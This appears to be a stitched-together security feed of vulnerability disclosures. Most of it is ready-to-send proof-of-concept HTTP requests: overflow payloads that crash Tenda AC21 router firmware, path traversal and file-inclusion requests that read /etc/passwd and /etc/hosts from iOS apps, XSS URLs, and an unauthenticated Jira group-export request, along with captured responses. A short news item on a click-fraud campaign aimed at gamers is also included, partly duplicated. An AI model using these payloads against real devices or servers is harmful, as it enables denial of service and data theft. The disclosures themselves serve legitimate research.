Tenda AC21 V16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetQosBand.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetQosBand

Attackers can cause this vulnerability via parameter list

In function formSetQosBand, it calls set_qosMib_list and pass v2 to it.

In function set_qosMib_list, it calls strcpy(v8, s), v8 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetNetControlList HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 879
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.08852963756997312&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07aduufcvb
    Connection: close
    
    list=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40068: Vuln/Tenda AC21/10 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetVirtualSer.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetVirtualSer

Attackers can cause this vulnerability via parameter list

In function formSetVirtualSer, it calls save_virtualser_data and vulnerability is in this function.

In function save_virtualser_data , it calls sscanf to read strings in v9(a2) to parameter on the stack without checking its length , so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetVirtualServerCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 160
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.278922737111333&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adfmbcvb
    Connection: close
    
    list=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40067: Vuln/Tenda AC21/9 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, formSetDeviceName.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetDeviceName

In function formSetDeviceName, it calls set_device_name and pass v3, v4 to it.

\\

In set_device_name, it calls sprintf(v4, "%s;1", a1) and a1 is the POST parameter devName , v4 is on the stack, so there is a stack overflow.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetOnlineDevName HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 264
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    mac=9c:fc:e8:da:9c:5b&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40071: Vuln/Tenda AC21/2 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via bin/httpd, function: formSetFirewallCfg.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetFirewallCfg

Attackers can cause this vulnerability via parameter firewallEn

It copies s to v4 which is on the stack, so there is a stack overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetFirewallCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 1364
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adamlcvb
    Connection: close
    
    firewallEn=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40070: Vuln/Tenda AC21/8 at main · xxy1126/Vuln

]Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: fromSetSysTime.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionfromSetSysTime

In function fromSetSysTime, it calls sub_496104(a1), the vulnerability is in this function.

In sub_496104(a1), it calls sscanf() and the v6, v7 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 754
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adhyecvb
    Connection: close
    
    timeType=sync&timeZone=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%3A11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40069: Vuln/Tenda AC21/6 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: setSmartPowerManagement.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsetSmartPowerManagement

Attackers can cause this vulnerability via parameter time

the sscanf function read string from s, and pass to v10 which is on the stack without checking its length, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/PowerSaveSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 1087
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9241437684734013&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adqtucvb
    Connection: close
    
    nptr=0&powerSaveDelay=0&ledCloseType=0&time=11:11-11:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40072: Vuln/Tenda AC21/7 at main · xxy1126/Vuln

PhotoSync version 4.7 suffers from a local file inclusion vulnerability.

    # Exploit Title: PhotoSync 4.7 IOS APP Local file inclusion# Date: Sep 19, 2022# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.photosync-app.com/home.html# Software Link:https://apps.apple.com/us/app/photosync-transfer-photos/id415850124# Version: 4.7# Tested on: iPhone IOS 16.0GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1Host: 192.168.8.101:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376eSafari/8536.25Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: close-------HTTP/1.1 200 OKDate: Mon, 19 Sep 2022 06:35:11 GMTAccept-Ranges: bytesContent-Length: 2791### User Database## This file is the authoritative user database.##nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/falseroot:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/shmobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/shdaemon:*:1:1:System Services:/var/root:/usr/bin/false_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false_securityd:*:64:64:securityd:/var/empty:/usr/bin/false_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false_ondemand:*:249:249:On Demand ResourceDaemon:/var/db/ondemand:/usr/bin/false_findmydevice:*:254:254:Find My DeviceDaemon:/var/db/findmydevice:/usr/bin/false_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false_diskimagesiod:*:271:271:DiskImages IODaemon:/var/db/diskimagesiod:/usr/bin/false_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false_accessoryupdater:*:278:278:Accessory UpdateDaemon:/var/db/accessoryupdater:/usr/bin/false_knowledgegraphd:*:279:279:Knowledge GraphDaemon:/var/db/knowledgegraphd:/usr/bin/false_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false_trustd:*:282:282:trustd:/var/empty:/usr/bin/false_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false_backboardd:*:287:287:BackBoard:/var/empty:/usr/bin/false_avphidbridge:*:288:288:Apple Virtual Platform HIDBridge:/var/empty:/usr/bin/false_launchservices:*:290:290:Launch Services:/var/empty:/usr/bin/false

PhotoSync 4.7 Local File Inclusion

Owlfiles File Manager version 12.0.1 suffers from local file inclusion and path traversal vulnerabilities.

    # Exploit Title: Owlfiles File Manager 12.0.1 - multi vulnerabilities# Date: Sep 19, 2022# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.skyjos.com/# Software Link:https://apps.apple.com/us/app/owlfiles-file-manager/id510282524# Version: 12.0.1# Tested on: Ios 16.0###########path traversal on HTTP built-in server###########GET /../../../../../../../../../../../../../../../System/ HTTP/1.1Host: 192.168.8.101:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376eSafari/8536.25Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9If-None-Match: 42638202/1663558201/177889085If-Modified-Since: Mon, 19 Sep 2022 03:30:01 GMTConnection: closeContent-Length: 0-------HTTP/1.1 200 OKCache-Control: max-age=3600, publicContent-Length: 317Content-Type: text/html; charset=utf-8Connection: CloseServer: GCDWebUploaderDate: Mon, 19 Sep 2022 05:01:11 GMT<!DOCTYPE html><html><head><meta charset="utf-8"></head><body><ul><li><a href="Cryptexes/">Cryptexes/</a></li><li><a href="DriverKit/">DriverKit/</a></li><li><a href="Library/">Library/</a></li><li><a href="Applications/">Applications/</a></li><li><a href="Developer/">Developer/</a></li></ul></body></html>#############LFI on HTTP built-in server#############GET /../../../../../../../../../../../../../../../etc/hosts HTTP/1.1Host: 192.168.8.101:8080Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376eSafari/8536.25X-Requested-With: XMLHttpRequestReferer: http://192.168.8.101:8080/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: close----HTTP/1.1 200 OKConnection: CloseServer: GCDWebUploaderContent-Type: application/octet-streamLast-Modified: Sat, 03 Sep 2022 01:37:01 GMTDate: Mon, 19 Sep 2022 03:28:14 GMTContent-Length: 213Cache-Control: max-age=3600, publicEtag: 1152921500312187994/1662169021/0### Host Database## localhost is used to configure the loopback interface# when the system is booting.  Do not change this entry.##127.0.0.1 localhost255.255.255.255 broadcasthost::1             localhost###############path traversal on FTP built-in server###############ftp> cd ../../../../../../../../../250 OK. Current directory is /../../../../../../../../../ftp> ls200 PORT command successful.150 Accepted data connectiontotal 10drwxr-xr-x     0 root wheel        256 Jan 01 1970 usrdrwxr-xr-x     0 root wheel        128 Jan 01 1970 bindrwxr-xr-x     0 root wheel        608 Jan 01 1970 sbindrwxr-xr-x     0 root wheel        224 Jan 01 1970 Systemdrwxr-xr-x     0 root wheel        640 Jan 01 1970 Librarydrwxr-xr-x     0 root wheel        224 Jan 01 1970 privatedrwxr-xr-x     0 root wheel       1131 Jan 01 1970 devdrwxr-xr-x     0 root admin       4512 Jan 01 1970 Applicationsdrwxr-xr-x     0 root admin         64 Jan 01 1970 Developerdrwxr-xr-x     0 root admin         64 Jan 01 1970 coresWARNING! 10 bare linefeeds received in ASCII modeFile may not have transferred correctly.226 Transfer complete.ftp>#############XSS on HTTP built-in server#############poc 1:http://192.168.8.101:8080/download?path=<script>alert(rose)</script>poc 2:http://192.168.8.101:8080/list?path=<script>alert(rose)</script>

Owlfiles File Manager 12.0.1 Path Traversal / Local File Inclusion

Microsoft said it's tracking an ongoing large-scale click fraud campaign targeting gamers by means of stealthily deployed browser extensions on compromised systems.
"[The] attackers monetize clicks generated by a browser node-webkit or malicious browser extension secretly installed on devices," Microsoft Security Intelligence said in a sequence of tweets over the weekend.
The tech giant's

Microsoft said it's tracking an ongoing large-scale click fraud campaign targeting gamers by means of stealthily deployed browser extensions on compromised systems.

"\[The\] attackers monetize clicks generated by a browser node-webkit or malicious browser extension secretly installed on devices," Microsoft Security Intelligence said in a sequence of tweets over the weekend.

The tech giant's cybersecurity division is tracking the developing threat cluster under the name DEV-0796.

Attach chains mounted by the adversary commence with an ISO file that's downloaded onto a victim's machine upon clicking on a malicious ad or comments on YouTube. The ISO file, when opened, is designed to install a browser node-webkit (aka NW.js) or rogue browser extension.

It's worth noting that the ISO file masquerades as hacks and cheats for the Krunker first-person shooter game. Cheats are programs that help gamers gain an added advantage beyond the available capabilities during gameplay.

Also used in the attacks are DMG files, which are Apple Disk Image files primarily used to distribute software on macOS, indicating that the threat actors are targeting multiple operating systems.

The findings arrive as Kaspersky disclosed details of another campaign that lures gamers looking for cheats on YouTube into downloading self-propagating malware capable of installing crypto miners and other information stealers.

"Malware and unwanted software distributed as cheat programs stand out as a particular threat to gamers' security, especially for those who are keen on popular game series," the Russian cybersecurity firm said in a recent report.

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Microsoft Warns of Large-Scale Click Fraud Campaign Targeting Gamers

The Netic Group Export add-on before 1.0.3 for Atlassian Jira does not perform authorization checks. This might allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI.

Unauthenticated Group Export for Jira < 1.0.3

Vulnerability Type: Unauthenticated Group Export

Vendor of Product: Atlassian Jira

Affected Product Code Base: Group Export for Jira

Product Version: < 1.0.3

Description: The Group Export for Jira < 1.0.3 versions allow unauthenticated user to export the groups from the Jira instance.

Attack Vectors: Attacker could make an HTTP request to the affected endpoint and get the list of Jira groups present.

Attack Type: Remote

Endpoint: /plugins/servlet/groupexportforjira/admin/json

Assigned CVE-ID: CVE-2022-39960

Steps To Reproduce

1\. Issue a HTTP POST request to the following endpoint: https://<jira.example.com>/plugins/servlet/groupexportforjira/admin/\[format\]

2\. For the HTTP POST Data send the following: "groupexport\_searchstring=&groupexport\_download=true"

#PoC

\[REQUEST\]

POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1

Host: jira.example.local

Content-Length: 51

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Connection: close

groupexport\_searchstring=&groupexport\_download=true

\[RESPONSE\]

HTTP/1.1 200

X-AREQUESTID: 996x459x1

Referrer-Policy: strict-origin-when-cross-origin

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Content-Security-Policy: sandbox

Strict-Transport-Security: max-age=31536000

Set-Cookie: atlassian.xsrf.token=B2KZ-BVLZ-WLZO-E635\_0caad26e8df61a1995bb595e1e00d6f869571707\_lout; Path=/

X-AUSERNAME: anonymous

Content-Disposition: attachment; filename="jira-group-export-41178cce-e033-4f0a-bfad-c909e2435c5d.json"

Vary: User-Agent

Content-Type: application/json;charset=UTF-8

Connection: close

Content-Length: 815

{"jiraGroupObjects":\[{"groupName":"jira-administrators","jiraGroupApplicationRoleObjects":\[{"name":"Jira Software"}\],"users":1, \[REDACTED\]}\]}

Tag

#webkit